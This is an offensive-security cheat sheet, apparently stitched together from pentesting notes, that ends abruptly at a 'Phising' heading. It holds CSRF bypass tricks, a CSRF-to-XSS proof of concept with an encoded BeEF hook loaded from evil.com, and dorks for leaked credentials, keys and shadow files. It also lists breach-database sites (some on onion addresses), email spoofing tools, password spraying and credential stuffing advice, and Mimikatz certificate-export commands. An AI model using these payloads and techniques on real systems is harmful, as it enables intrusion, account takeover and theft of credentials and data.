    - Remove Anti-CSRF Token
    - Spoof Anti-CSRF Token by Changing a few bits
    - Using Same Anti-CSRF Token
    - Weak Cryptography to generate Anti-CSRF Token
    - Guessable Anti-CSRF Token
    - Stealing Token with other attacks such as XSS.
    - Converting POST Request to GET Request to bypass the CSRF Token Check. (This is what we will see for this article)
    
    Other validations bypasses:
    1) remove anticsrf tokens & parameter
    2) pass blank paramter
    3) add same length token
    4) add another userss valid anti csrf token
    5) random token in long length (aaaaaaaaa) 
    6) Try decode token
    7) Use only static part of the token
    <html>
    <script>
    function jsonreq() {
      var xmlhttp = new XMLHttpRequest();
      xmlhttp.open("POST","https://target.com/api/endpoint", true);
      xmlhttp.setRequestHeader("Content-Type","text/plain");
      //xmlhttp.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
      xmlhttp.withCredentials = true;
      xmlhttp.send(JSON.stringify({"test":"x"}));
    }
    jsonreq();
    </script>
    </html>
    <html>
      <body>
        <p>Please wait... ;)</p>
        <script>
    let host = 'http://target.com'
    let beef_payload = '%3c%73%63%72%69%70%74%3e%20%73%3d%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%27%73%63%72%69%70%74%27%29%3b%20%73%2e%74%79%70%65%3d%27%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%27%3b%20%73%2e%73%72%63%3d%27%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d%2f%68%6f%6f%6b%2e%6a%73%27%3b%20%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%27%68%65%61%64%27%29%5b%30%5d%2e%61%70%70%65%6e%64%43%68%69%6c%64%28%73%29%3b%20%3c%2f%73%63%72%69%70%74%3e'
    let alert_payload = '%3Cimg%2Fsrc%2Fonerror%3Dalert(1)%3E'
    
    function submitRequest() {
      var req = new XMLHttpRequest();
      req.open(<CSRF components, which can easily be copied from Burp's POC generator>);
      req.setRequestHeader("Accept", "*\/*");
      req.withCredentials = true;
      req.onreadystatechange = function () {
        if (req.readyState === 4) {
          executeXSS();
        }
      }
      req.send();
    }
    
    function executeXSS() {
      window.location.assign(host+'<URI with XSS>'+alert_payload);
    }
    
    submitRequest();
        </script>
      </body>
    </html>
    https://osintframework.com/
    https://i-intelligence.eu/uploads/public-documents/OSINT_Handbook_2020.pdf
    https://start.me/p/DPYPMz/the-ultimate-osint-collection
    https://docs.google.com/spreadsheets/d/18rtqh8EG2q1xBo2cLNyhIDuK9jrPGwYr9DI2UncoqJQ
    https://cipher387.github.io/
    # Multipurpose
    https://shodan.io/
    https://censys.io/
    https://onyphe.io/
    https://app.netlas.io/
    https://hunter.how/
    https://fofa.so/
    https://fullhunt.io/
    https://www.zoomeye.org/
    https://www.criminalip.io/
    https://leakix.net/
    https://www.yougetsignal.com/
    https://intelx.io/
    https://pentest-tools.com/
    https://gofindwhois.com/
    https://gofindwho.com/
    
    # Track website changes
    https://visualping.io/
    https://web.archive.org
    
    # Companies info
    https://opencorporates.com/companies
    
    # Domain Recon
    https://www.robtex.com/
    https://centralops.net
    https://viewdns.info/
    https://phpinfo.me/domain
    http://bgp.he.net/
    https://bgpview.io/
    https://suip.biz/
    https://dnsdumpster.com/
    https://www.whoxy.com/
    http://ipv4info.com/
    https://rapiddns.io/
    https://myip.ms/
    https://www.reversewhois.io/?
    https://www.whoxy.com/reverse-whois/
    https://reverse-whois.whoisxmlapi.com/api
    https://host.io/dashboard
    https://completedns.com/dns-history/
    
    # Analytics
    https://mmhdan.herokuapp.com/
    https://publicwww.com/
    https://intelx.io/tools?tab=analytics
    https://dnslytics.com/reverse-analytics
    https://builtwith.com/
    
    # Mailserver blacklists
    http://multirbl.valli.org/
    
    # Verify emails
    https://tools.emailhippo.com/
    
    # Dark web exposure
    https://immuniweb.com/radar/
    
    # New acquisitions
    https://crunchbase.com/
    
    # Public APIs
    https://www.postman.com/explore/
    https://rapidapi.com/
    
    # APIs Recon
    https://serene-agnesi-57a014.netlify.app/
    
    # Exif Data 
    https://exif-viewer.com
    
    # https://github.com/OWASP/Amass
    # Get ASN
    amass intel -org "whatever"
    # Reverse whois
    amass intel -active -asn NUMBER -whois -d domain.com
    # SSL Cert Grabbing
    amass enum -active -d example.com -cidr IF.YOU.GOT.THIS/24 -asn NUMBER
    
    # https://github.com/smicallef/spiderfoot
    spiderfoot -s domain.com
    
    # https://github.com/j3ssie/Osmedeus
    python3 osmedeus.py -t example.com
    
    # https://github.com/thewhiteh4t/FinalRecon
    python3 finalrecon.py --full https://example.com
    
    # https://github.com/laramies/theHarvester
    theHarvester -d domain.com -b all
    
    # https://github.com/lanmaster53/recon-ng
    recon-ng
    # https://github.com/jpf/domain-profiler
    ./profile target.com
    
    # Standard whois tool
    whois
    
    # Whoxy api
    # https://www.whoxy.com/
    # Whoxy clients
    # https://github.com/MilindPurswani/whoxyrm
    # https://github.com/vysecurity/DomLink
    
    # Registrant's domains related
    # https://github.com/harleo/knockknock
    knockknock -n "companyORregistrant" -p
    
    # Bulk whois
    # https://github.com/melbadry9/WhoEnum
    # Google Dorks Cli
    # https://github.com/six2dez/dorks_hunter
    python3 dorks_hunter.py -d domain.com
    
    # Google Dork builder
    http://advangle.com/
    # Google dorks helper
    https://dorks.faisalahmed.me/
    # Ip search by dorking
    https://0iq.me/gip/
    
    # Code share sites
    site:http://ideone.com | site:http://codebeautify.org | site:http://codeshare.io | site:http://codepen.io | site:http://repl.it | site:http://jsfiddle.net "company"
    # GitLab/GitHub/Bitbucket
    site:github.com | site:gitlab.com | site:bitbucket.org "company"
    # Stackoverflow
    site:stackoverflow.com "target.com"
    # Project management sites
    site:http://trello.com | site:*.atlassian.net "company"
    # Pastebin-like sites
    site:http://justpaste.it | site:http://pastebin.com "company"
    # Config files
    site:target.com ext:xml | ext:conf | ext:cnf | ext:reg | ext:inf | ext:rdp | ext:cfg | ext:txt | ext:ora | ext:env | ext:ini
    # Database files
    site:target.com ext:sql | ext:dbf | ext:mdb
    # Backup files
    site:target.com ext:bkf | ext:bkp | ext:bak | ext:old | ext:backup
    # .git folder
    inurl:"/.git" target.com -github
    # Exposed documents
    site:target.com ext:doc | ext:docx | ext:odt | ext:pdf | ext:rtf | ext:sxw | ext:psw | ext:ppt | ext:pptx | ext:pps | ext:csv
    # Other files
    site:target.com intitle:index.of | ext:log | ext:php intitle:phpinfo "published by the PHP Group" | inurl:shell | inurl:backdoor | inurl:wso | inurl:cmd | shadow | passwd | boot.ini | inurl:backdoor | inurl:readme | inurl:license | inurl:install | inurl:setup | inurl:config | inurl:"/phpinfo.php" | inurl:".htaccess" | ext:swf
    # SQL errors
    site:target.com intext:"sql syntax near" | intext:"syntax error has occurred" | intext:"incorrect syntax near" | intext:"unexpected end of SQL command" | intext:"Warning: mysql_connect()" | intext:"Warning: mysql_query()" | intext:"Warning: pg_connect()"
    # PHP errors
    site:target.com "PHP Parse error" | "PHP Warning" | "PHP Error"
    # Login pages
    site:target.com inurl:signup | inurl:register | intitle:Signup
    # Open redirects
    site:target.com inurl:redir | inurl:url | inurl:redirect | inurl:return | inurl:src=http | inurl:r=http
    # Apache Struts RCE
    site:target.com ext:action | ext:struts | ext:do
    # Search in pastebin
    site:pastebin.com target.com
    # Linkedin employees
    site:linkedin.com employees target.com
    # Wordpress files
    site:target.com inurl:wp-content | inurl:wp-includes
    # Subdomains
    site:*.target.com
    # Sub-subdomains
    site:*.*.target.com
    #Find S3 Buckets
    site:.s3.amazonaws.com | site:http://storage.googleapis.com | site:http://amazonaws.com "target"
    # Traefik
    intitle:traefik inurl:8080/dashboard "target"
    # Jenkins
    intitle:"Dashboard [Jenkins]"
    
    # Other 3rd parties sites
    https://www.google.com/search?q=site%3Agitter.im%20%7C%20site%3Apapaly.com%20%7C%20site%3Aproductforums.google.com%20%7C%20site%3Acoggle.it%20%7C%20site%3Areplt.it%20%7C%20site%3Aycombinator.com%20%7C%20site%3Alibraries.io%20%7C%20site%3Anpm.runkit.com%20%7C%20site%3Anpmjs.com%20%7C%20site%3Ascribd.com%20%22united%22
    # Backup files
    https://www.google.com/search?q=site%3Aunited.com%20ext%3Abkf%20%7C%20ext%3Abkp%20%7C%20ext%3Abak%20%7C%20ext%3Aold%20%7C%20ext%3Abackup
    # Login pages
    https://www.google.com/search?q=site%3Aunited.com%20inurl%3Asignup%20%7C%20inurl%3Aregister%20%7C%20intitle%3ASignup
    # Config files
    https://www.google.com/search?q=site%3Aunited.com%20ext%3Axml%20%7C%20ext%3Aconf%20%7C%20ext%3Acnf%20%7C%20ext%3Areg%20%7C%20ext%3Ainf%20%7C%20ext%3Ardp%20%7C%20ext%3Acfg%20%7C%20ext%3Atxt%20%7C%20ext%3Aora%20%7C%20ext%3Aenv%20%7C%20ext%3Aini
    # .git folder
    https://www.google.com/search?q=inurl%3A%5C%22%2F.git%5C%22%20united.com%20-github
    # Database files
    https://www.google.com/search?q=site%3Aunited.com%20ext%3Asql%20%7C%20ext%3Adbf%20%7C%20ext%3Amdb
    # Open redirects
    https://www.google.com/search?q=site%3Aunited.com%20inurl%3Aredir%20%7C%20inurl%3Aurl%20%7C%20inurl%3Aredirect%20%7C%20inurl%3Areturn%20%7C%20inurl%3Asrc%3Dhttp%20%7C%20inurl%3Ar%3Dhttp
    # Code share sites
    https://www.google.com/search?q=site%3Asharecode.io%20%7C%20site%3Acontrolc.com%20%7C%20site%3Acodepad.co%20%7Csite%3Aideone.com%20%7C%20site%3Acodebeautify.org%20%7C%20site%3Ajsdelivr.com%20%7C%20site%3Acodeshare.io%20%7C%20site%3Acodepen.io%20%7C%20site%3Arepl.it%20%7C%20site%3Ajsfiddle.net%20%22united%22
    # Pastebin-like sites
    https://www.google.com/search?q=site%3Ajustpaste.it%20%7C%20site%3Aheypasteit.com%20%7C%20site%3Apastebin.com%20%22united%22
    # Linkedin employees
    https://www.google.com/search?q=site%3Alinkedin.com%20employees%20united.com
    # Project management sites
    https://www.google.com/search?q=site%3Atrello.com%20%7C%20site%3A*.atlassian.net%20%22united%22
    # Other files
    https://www.google.com/search?q=site%3Aunited.com%20intitle%3Aindex.of%20%7C%20ext%3Alog%20%7C%20ext%3Aphp%20intitle%3Aphpinfo%20%5C%22published%20by%20the%20PHP%20Group%5C%22%20%7C%20inurl%3Ashell%20%7C%20inurl%3Abackdoor%20%7C%20inurl%3Awso%20%7C%20inurl%3Acmd%20%7C%20shadow%20%7C%20passwd%20%7C%20boot.ini%20%7C%20inurl%3Abackdoor%20%7C%20inurl%3Areadme%20%7C%20inurl%3Alicense%20%7C%20inurl%3Ainstall%20%7C%20inurl%3Asetup%20%7C%20inurl%3Aconfig%20%7C%20inurl%3A%5C%22%2Fphpinfo.php%5C%22%20%7C%20inurl%3A%5C%22.htaccess%5C%22%20%7C%20ext%3Aswf
    # Sub-subdomains
    https://www.google.com/search?q=site%3A*.*.united.com
    # Jenkins
    https://www.google.com/search?q=intitle%3A%5C%22Dashboard%20%5BJenkins%5D%5C%22%20%22united%22
    # Traefik
    https://www.google.com/search?q=intitle%3Atraefik%20inurl%3A8080%2Fdashboard%20%22united%22
    # Cloud buckets S3/GCP
    https://www.google.com/search?q=site%3A.s3.amazonaws.com%20%7C%20site%3Astorage.googleapis.com%20%7C%20site%3Aamazonaws.com%20%22united%22
    # SQL errors
    https://www.google.com/search?q=site%3Aunited.com%20intext%3A%5C%22sql%20syntax%20near%5C%22%20%7C%20intext%3A%5C%22syntax%20error%20has%20occurred%5C%22%20%7C%20intext%3A%5C%22incorrect%20syntax%20near%5C%22%20%7C%20intext%3A%5C%22unexpected%20end%20of%20SQL%20command%5C%22%20%7C%20intext%3A%5C%22Warning%3A%20mysql_connect()%5C%22%20%7C%20intext%3A%5C%22Warning%3A%20mysql_query()%5C%22%20%7C%20intext%3A%5C%22Warning%3A%20pg_connect()%5C%22
    # Exposed documents
    https://www.google.com/search?q=site%3Aunited.com%20ext%3Adoc%20%7C%20ext%3Adocx%20%7C%20ext%3Aodt%20%7C%20ext%3Apdf%20%7C%20ext%3Artf%20%7C%20ext%3Asxw%20%7C%20ext%3Apsw%20%7C%20ext%3Appt%20%7C%20ext%3Apptx%20%7C%20ext%3Apps%20%7C%20ext%3Acsv
    # Wordpress files
    https://www.google.com/search?q=site%3Aunited.com%20inurl%3Awp-content%20%7C%20inurl%3Awp-includes
    # Apache Struts RCE
    https://www.google.com/search?q=site%3Aunited.com%20ext%3Aaction%20%7C%20ext%3Astruts%20%7C%20ext%3Ado
    # GitLab/GitHub/Bitbucket
    https://www.google.com/search?q=site%3Agithub.com%20%7C%20site%3Agitlab.com%20%7C%20site%3Abitbucket.org%20%22united%22
    # Subdomains
    https://www.google.com/search?q=site%3A*.united.com
    # Stackoverflow
    https://www.google.com/search?q=site%3Astackoverflow.com%20%22united.com%22
    # PHP errors
    https://www.google.com/search?q=site%3Aunited.com%20%5C%22PHP%20Parse%20error%5C%22%20%7C%20%5C%22PHP%20Warning%5C%22%20%7C%20%5C%22PHP%20Error%5C%22
    #https://github.com/obheda12/GitDorker
    python3 GitDorker.py -tf ~/Tools/.github_tokens -q united.com -p -ri -d Dorks/medium_dorks.txt
    ".mlab.com password"
    "access_key"
    "access_token"
    "amazonaws"
    "api.googlemaps AIza"
    "api_key"
    "api_secret"
    "apidocs"
    "apikey"
    "apiSecret"
    "app_key"
    "app_secret"
    "appkey"
    "appkeysecret"
    "application_key"
    "appsecret"
    "appspot"
    "auth"
    "auth_token"
    "authorizationToken"
    "aws_access"
    "aws_access_key_id"
    "aws_key"
    "aws_secret"
    "aws_token"
    "AWSSecretKey"
    "bashrc password"
    "bucket_password"
    "client_secret"
    "cloudfront"
    "codecov_token"
    "config"
    "conn.login"
    "connectionstring"
    "consumer_key"
    "credentials"
    "database_password"
    "db_password"
    "db_username"
    "dbpasswd"
    "dbpassword"
    "dbuser"
    "dot-files"
    "dotfiles"
    "encryption_key"
    "fabricApiSecret"
    "fb_secret"
    "firebase"
    "ftp"
    "gh_token"
    "github_key"
    "github_token"
    "gitlab"
    "gmail_password"
    "gmail_username"
    "herokuapp"
    "internal"
    "irc_pass"
    "JEKYLL_GITHUB_TOKEN"
    "key"
    "keyPassword"
    "ldap_password"
    "ldap_username"
    "login"
    "mailchimp"
    "mailgun"
    "master_key"
    "mydotfiles"
    "mysql"
    "node_env"
    "npmrc _auth"
    "oauth_token"
    "pass"
    "passwd"
    "password"
    "passwords"
    "pem private"
    "preprod"
    "private_key"
    "prod"
    "pwd"
    "pwds"
    "rds.amazonaws.com password"
    "redis_password"
    "root_password"
    "secret"
    "secret.password"
    "secret_access_key"
    "secret_key"
    "secret_token"
    "secrets"
    "secure"
    "security_credentials"
    "send.keys"
    "send_keys"
    "sendkeys"
    "SF_USERNAME salesforce"
    "sf_username"
    "site.com" FIREBASE_API_JSON=
    "site.com" vim_settings.xml
    "slack_api"
    "slack_token"
    "sql_password"
    "ssh"
    "ssh2_auth_password"
    "sshpass"
    "staging"
    "stg"
    "storePassword"
    "stripe"
    "swagger"
    "testuser"
    "token"
    "x-api-key"
    "xoxb "
    "xoxp"
    Jenkins
    OTP
    oauth
    authoriztion
    password
    pwd
    ftp
    dotfiles
    JDBC
    key-keys
    send_key-keys
    send,key-keys
    token
    user
    login-singin
    passkey-passkeys
    pass
    secret
    SecretAccessKey
    app_AWS_SECRET_ACCESS_KEY AWS_SECRET_ACCESS_KEY
    credentials
    config
    security_credentials
    connectionstring
    ssh2_auth_password
    DB_PASSWORD
    [WFClient] Password= extension:ica
    access_key
    bucket_password
    dbpassword
    dbuser
    extension:avastlic "support.avast.com"
    extension:bat
    extension:cfg
    extension:env
    extension:exs
    extension:ini
    extension:json api.forecast.io
    extension:json googleusercontent client_secret
    extension:json mongolab.com
    extension:pem
    extension:pem private
    extension:ppk
    extension:ppk private
    extension:properties
    extension:sh
    extension:sls
    extension:sql
    extension:sql mysql dump
    extension:sql mysql dump password
    extension:yaml mongolab.com
    extension:zsh
    filename:.bash_history
    filename:.bash_history DOMAIN-NAME
    filename:.bash_profile aws
    filename:.bashrc mailchimp
    filename:.bashrc password
    filename:.cshrc
    filename:.dockercfg auth
    filename:.env DB_USERNAME NOT homestead
    filename:.env MAIL_HOST=smtp.gmail.com
    filename:.esmtprc password
    filename:.ftpconfig
    filename:.git-credentials
    filename:.history
    filename:.htpasswd
    filename:.netrc password
    filename:.npmrc _auth
    filename:.pgpass
    filename:.remote-sync.json
    filename:.s3cfg
    filename:.sh_history
    filename:.tugboat NOT _tugboat
    filename:_netrc password
    filename:apikey
    filename:bash
    filename:bash_history
    filename:bash_profile
    filename:bashrc
    filename:beanstalkd.yml
    filename:CCCam.cfg
    filename:composer.json
    filename:config
    filename:config irc_pass
    filename:config.json auths
    filename:config.php dbpasswd
    filename:configuration.php JConfig password
    filename:connections
    filename:connections.xml
    filename:constants
    filename:credentials
    filename:credentials aws_access_key_id
    filename:cshrc
    filename:database
    filename:dbeaver-data-sources.xml
    filename:deployment-config.json
    filename:dhcpd.conf
    filename:dockercfg
    filename:environment
    filename:express.conf
    filename:express.conf path:.openshift
    filename:filezilla.xml
    filename:filezilla.xml Pass
    filename:git-credentials
    filename:gitconfig
    filename:global
    filename:history
    filename:htpasswd
    filename:hub oauth_token
    filename:id_dsa
    filename:id_rsa
    filename:id_rsa or filename:id_dsa
    filename:idea14.key
    filename:known_hosts
    filename:logins.json
    filename:makefile
    filename:master.key path:config
    filename:netrc
    filename:npmrc
    filename:pass
    filename:passwd path:etc
    filename:pgpass
    filename:prod.exs
    filename:prod.exs NOT prod.secret.exs
    filename:prod.secret.exs
    filename:proftpdpasswd
    filename:recentservers.xml
    filename:recentservers.xml Pass
    filename:robomongo.json
    filename:s3cfg
    filename:secrets.yml password
    filename:server.cfg
    filename:server.cfg rcon password
    filename:settings
    filename:settings.py SECRET_KEY
    filename:sftp-config.json
    filename:sftp-config.json password
    filename:sftp.json path:.vscode
    filename:shadow
    filename:shadow path:etc
    filename:spec
    filename:sshd_config
    filename:token
    filename:tugboat
    filename:ventrilo_srv.ini
    filename:WebServers.xml
    filename:wp-config
    filename:wp-config.php
    filename:zhrc
    HEROKU_API_KEY language:json
    HEROKU_API_KEY language:shell
    HOMEBREW_GITHUB_API_TOKEN language:shell
    jsforce extension:js conn.login
    language:yaml -filename:travis
    msg nickserv identify filename:config
    org:Target "AWS_ACCESS_KEY_ID"
    org:Target "list_aws_accounts"
    org:Target "aws_access_key"
    org:Target "aws_secret_key"
    org:Target "bucket_name"
    org:Target "S3_ACCESS_KEY_ID"
    org:Target "S3_BUCKET"
    org:Target "S3_ENDPOINT"
    org:Target "S3_SECRET_ACCESS_KEY"
    password
    path:sites databases password
    private -language:java
    PT_TOKEN language:bash
    redis_password
    root_password
    secret_access_key
    SECRET_KEY_BASE=
    shodan_api_key language:python
    WORDPRESS_DB_PASSWORD=
    xoxp OR xoxb OR xoxa
    s3.yml
    .exs
    beanstalkd.yml
    deploy.rake
    .sls
    — — — — — — — — — — — — — — — — — — -BASH — — — — — — — — — —
    language:bash password
    language:bash pwd
    language:bash ftp
    language:bash dotfiles
    language:bash JDBC
    language:bash key-keys
    language:bash send_key-keys
    language:bash send,key-keys
    language:bash token
    language:bash user
    language:bash login-singin
    language:bash passkey-passkeys
    language:bash pass
    language:bash secret
    language:bash credentials
    language:bash config
    language:bash security_credentials
    language:bash connectionstring
    language:bash ssh2_auth_password
    — — — — — — — — — — — — — — — — — — -PYTHON — — — — — — — — —
    language:python password
    language:python pwd
    language:python ftp
    language:python dotfiles
    language:python JDBC
    language:python key-keys
    language:python send_key-keys
    language:python send,key-keys
    language:python token
    language:python user
    language:python login-singin
    language:python passkey-passkeys
    language:python pass
    language:python secret
    language:python credentials
    language:python config
    language:python security_credentials
    language:python connectionstring
    language:python ssh2_auth_password
    
    org:facebookresearch https://
    org:facebookresearch http://
    org:facebookresearch ldap
    org:facebookresearch ftp
    org:facebookresearch sftp
    org:facebookresearch host:
    org:facebookresearch login
    
    port:"9200" elastic
    product:"docker"
    product:"kubernetes"
    hostname:"target.com"
    host:"10.10.10.10"
    # Spring boot servers, look for /env or /heapdump
    org:YOUR_TAGET http.favicon.hash:116323821 
    # Company string name to CIDR
    # https://github.com/dhn/spk
    spk -json -s "Google"
    
    # Versatile tool with multiple input options and output formats
    # https://github.com/projectdiscovery/asnmap
    asnmap -i 1.3.3.7 -org GOOGLE -d facebook.com,twitter.com -a AS394161
    
    # https://github.com/nitefood/asn
    asn -n 8.8.8.8
    
    # https://github.com/j3ssie/metabigor
    echo "company" | metabigor net --org
    echo "ASN1111" | metabigor net --asn
    
    # https://github.com/yassineaboukir/Asnlookup
    python asnlookup.py -m -o <Organization>
    
    # https://github.com/harleo/asnip
    asnip -t domain.com -p
    
    # https://github.com/projectdiscovery/mapcidr
    echo 10.10.10.0/24 | mapcidr
    
    # https://github.com/eslam3kl/3klector
    python 3klector.py -t company
    
    # https://github.com/SpiderLabs/HostHunter
    python3 hosthunter.py targets.txt
    
    # Website (with API)
    https://asnlookup.com/
    # pwndb
    # https://github.com/davidtavarez/pwndb
    python3 pwndb.py --target [email protected]
    
    # Websites
    https://link-base.org/index.php
    http://xjypo5vzgmo7jca6b322dnqbsdnp3amd24ybx26x5nxbusccjkm4pwid.onion/
    http://pwndb2am4tzkvold.onion
    https://weleakinfo.to/
    https://www.dehashed.com/search?query=
    https://haveibeenpwned.com
    https://breachchecker.com
    https://vigilante.pw/
    https://leak.sx/
    https://intelx.io
    https://search.illicit.services/
    https://breachdirectory.org/
    
    breachdirectory.org + (hashes.com || md5decrypt.net || crackstation.net)# Nice combination
    
    # Check hashes with this tool
    https://github.com/jackrendor/jhf
    # https://github.com/SimplySecurity/SimplyEmail
    ./SimplyEmail.py
    
    pip3 install mailspoof
    sudo mailspoof -d domain.com
    
    # Test email spoof
    https://emkei.cz/
    
    # Find emails in an org
    https://hunter.io
    https://snov.io/email-finder
    https://app.snov.io/domain-search
    https://hunter.io/
    
    # https://github.com/sham00n/buster
    buster -e [email protected]
    
    # https://github.com/m4ll0k/Infoga
    python infoga.py
    
    # https://github.com/martinvigo/email2phonenumber
    python email2phonenumber.py scrape -e [email protected]
    
    # https://github.com/jkakavas/creepy/
    
    # https://github.com/Josue87/EmailFinder
    emailfinder -d domain.com
    
    # https://github.com/laramies/theHarvester
    python3 theHarvester.py -d domain.com -b "linkedin"
    # https://github.com/obheda12/GitDorker
    python3 GitDorker.py -tf TOKENSFILE -q tesla.com -d dorks/DORKFILE -o target
    
    # https://github.com/dxa4481/truffleHog
    trufflehog https://github.com/Plazmaz/leaky-repo
    trufflehog --regex --entropy=False https://github.com/Plazmaz/leaky-repo
    
    # https://github.com/eth0izzle/shhgit
    shhgit --search-query AWS_ACCESS_KEY_ID=AKIA
    
    # https://github.com/d1vious/git-wild-hunt
    python git-wild-hunt.py -s "extension:json filename:creds language:JSON"
    
    # https://shhgit.darkport.co.uk/
    
    # GitLab (API token required)
    # https://github.com/codeEmitter/token-hunter
    ./token-hunter.py -g 123456
    # https://github.com/Josue87/MetaFinder
    metafinder -d "domain.com" -l 10 -go -bi -ba -o united
    # General
    https://analystresearchtools.com/
    
    # Twitter
    # https://github.com/twintproject/twint
    twint -u username
    
    # Google account
    # https://github.com/mxrch/ghunt
    python hunt.py [email protected]
    
    # Instagram
    # https://github.com/th3unkn0n/osi.ig
    python3 main.py -u username
    
    # Public GDrive docs
    https://www.dedigger.com/#gsc.tab=0
    
    # Websites
    emailrep.io # Accounts registered by email
    tinfoleak.com # Twitter
    mostwantedhf.info # Skype
    searchmy.bio # Instagram
    search.carrot2.org # Results grouped by topic
    boardreader.com # forums
    searchcode.com # search by code in repositories
    swisscows.com # semantic search engine
    publicwww.com # search by source page code
    psbdmp.ws # search in pastebin
    kribrum.io # social-media search engine
    whatsmyname.app
    # Non provider specific and general purpose
    # https://github.com/nccgroup/ScoutSuite
    # https://github.com/SygniaLabs/security-cloud-scout
    # https://github.com/initstring/cloud_enum
    python3 cloud_enum.py -k companynameorkeyword
    # https://github.com/cyberark/SkyArk
    # https://github.com/SecurityFTW/cs-suite
        cd /tmp
        mkdir .aws
        cat > .aws/config <<EOF
            [default]
            output = json
            region = us-east-1
        EOF
        cat > .aws/credentials <<EOF
            [default]
            aws_access_key_id = XXXXXXXXXXXXXXX
            aws_secret_access_key = XXXXXXXXXXXXXXXXXXXXXXXXX
        EOF
        docker run -v `pwd`/.aws:/root/.aws -v `pwd`/reports:/app/reports securityftw/cs-suite -env aws
    
    # Dictionary
    https://gist.github.com/BuffaloWill/fa96693af67e3a3dd3fb
    
    Searching for bad configurations
    
    No auditable items:
    • DoS testing
    • Intense fuzzing
    • Phishing the cloud provider’s employees
    • Testing other company’s assets
    • Etc.
    Logo

    https://n0j.github.io/2017/10/02/aws-s3-ctf.html

  • https://github.com/RhinoSecurityLabs/cloudgoat

  • https://github.com/appsecco/attacking-cloudgoat2

  • https://github.com/m6a-UdS/dvca

  • https://github.com/OWASP/DVSA

  • https://github.com/nccgroup/sadcloud

  • https://github.com/torque59/AWS-Vulnerable-Lambda

  • https://github.com/wickett/lambhack

  • https://github.com/BishopFox/iam-vulnerable

  • GCP Labs

    • http://thunder-ctf.cloud/ https://gcpgoat.joshuajebaraj.com/

  • Azure Labs

    • https://github.com/azurecitadel/azure-security-lab

  • # PoC from Forward DNS dataset
    # This data is created by extracting domain names from a number of sources and then sending DNS queries for each domain.
    # https://opendata.rapid7.com/sonar.fdns_v2/
    cat CNAME-DATASET-NAME | pigz -dc | grep -E "\.azurewebsites\.com"
    cat CNAME-DATASET-NAME | pigz -dc | grep -E "\.s3\.amazonaws\.com"
    
    # https://github.com/99designs/clouddetect
    clouddetect -ip=151.101.1.68
    
    • First step should be to determine what services are in use
    • More and more orgs are moving assets to the cloud one at a time
    • Many have limited deployment to cloud providers, but some have fully embraced the cloud and are using it for AD, production assets, security products, and more
    • Determine things like AD connectivity, mail gateways, web apps, file storage, etc.
    • Traditional host discovery still applies
    • After host discovery resolve all names, then perform whois
    lookups to determine where they are hosted
    • Microsoft, Amazon, Google IP space usually indicates cloud service usage
       ◇ More later on getting netblock information for each cloud service
    • MX records can show cloud-hosted mail providers
    • Certificate Transparency (crt.sh)
    • Monitors and logs digital certs
    • Creates a public, searchable log
    • Can help discover additional subdomains
    • More importantly… you can potentially find more Top Level Domains (TLD’s)!
    • Single cert can be scoped for multiple domains
    • Search (Google, Bing, Baidu, DuckDuckGo): site:targetdomain.com -site:www.targetdomain.com
    • Shodan.io and Censys.io zoomeye.org
    • Internet-wide portscans
    • Certificate searches
    • Shodan query examples:
       ◇ org:”Target Name”
       ◇ net:”CIDR Range”
       ◇ port:”443”
    • DNS Brute Forcing
    • Performs lookups on a list of potential subdomains
    • Make sure to use quality lists
    • SecLists: https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS
    • MX Records can help us identify cloud services in use
       ◇ O365 = target-domain.mail.protection.outlook.com
       ◇ G-Suite = google.com | googlemail.com
       ◇ Proofpoint = pphosted.com
    • If you find commonalities between subdomains try iterating names
    •  Other Services
       ◇ HackerTarget https://hackertarget.com/
       ◇ ThreatCrowd  https://www.threatcrowd.org/
       ◇ DNSDumpster  https://dnsdumpster.com/
       ◇ ARIN Searches  https://whois.arin.net/ui/
          ▪ Search bar accepts wild cards “*”
          ▪ Great for finding other netblocks owned by the same organization
    • Azure Netblocks
          ▪ Public: https://www.microsoft.com/en-us/download/details.aspx?id=56519
          ▪ US Gov: http://www.microsoft.com/en-us/download/details.aspx?id=57063
          ▪ Germany: http://www.microsoft.com/en-us/download/details.aspx?id=57064
          ▪ China: http://www.microsoft.com/en-us/download/details.aspx?id=57062
    • AWS Netblocks
       ◇ https://ip-ranges.amazonaws.com/ip-ranges.json
    • GCP Netblocks
       ◇ Google made it complicated so there’s a script on the next page to get the current IP netblocks.
    • Box.com Usage
       ◇ Look for any login portals
          ▪ https://companyname.account.box.com
       ◇ Can find cached Box account data too 
    • Employees
       ◇ LinkedIn
       ◇ PowerMeta https://github.com/dafthack/PowerMeta
       ◇ FOCA https://github.com/ElevenPaths/FOCA
       ◇ hunter.io
    
     Tools:
        • Recon-NG https://github.com/lanmaster53/recon-ng
        • OWASP Amass https://github.com/OWASP/Amass
        • Spiderfoot https://www.spiderfoot.net/
        • Gobuster https://github.com/OJ/gobuster
        • Sublist3r https://github.com/aboul3la/Sublist3r
    
    Foothold:
    • Find ssh keys in shhgit.darkport.co.uk https://github.com/eth0izzle/shhgit
    • GitLeaks https://github.com/zricethezav/gitleaks
    • Gitrob https://github.com/michenriksen/gitrob
    • Truffle Hog https://github.com/dxa4481/truffleHog
    
    Password attacks:
    • Password Spraying
       ◇ Trying one password for every user at an org to avoid account lockouts (Spring2020)
    • Most systems have some sort of lockout policy
       ◇ Example: 5 attempts in 30 mins = lockout
    • If we attempt to auth as each individual username one time every 30 mins we lockout nobody
    • Credential Stuffing
       ◇ Using previously breached credentials to attempt to exploit password reuse on corporate accounts
    • People tend to reuse passwords for multiple sites including corporate accounts
    • Various breaches end up publicly posted
    • Search these and try out creds
    • Try iterating creds
    
    Web server explotation
    • Out-of-date web technologies with known vulns
    • SQL or command injection vulns
    • Server-Side Request Forgery (SSRF)
    • Good place to start post-shell:
    • Creds in the Metadata Service
    • Certificates
    • Environment variables
    • Storage accounts
    • Reused access certs as private keys on web servers
       ◇ Compromise web server
       ◇ Extract certificate with Mimikatz
       ◇ Use it to authenticate to Azure
    • Mimikatz can export “non-exportable” certificates:
        mimikatz# crypto::capi
        mimikatz# privilege::debug
        mimikatz# crypto::cng
        mimikatz# crypto::certificates /systemstore:local_machine /store:my /export
    
    Phising
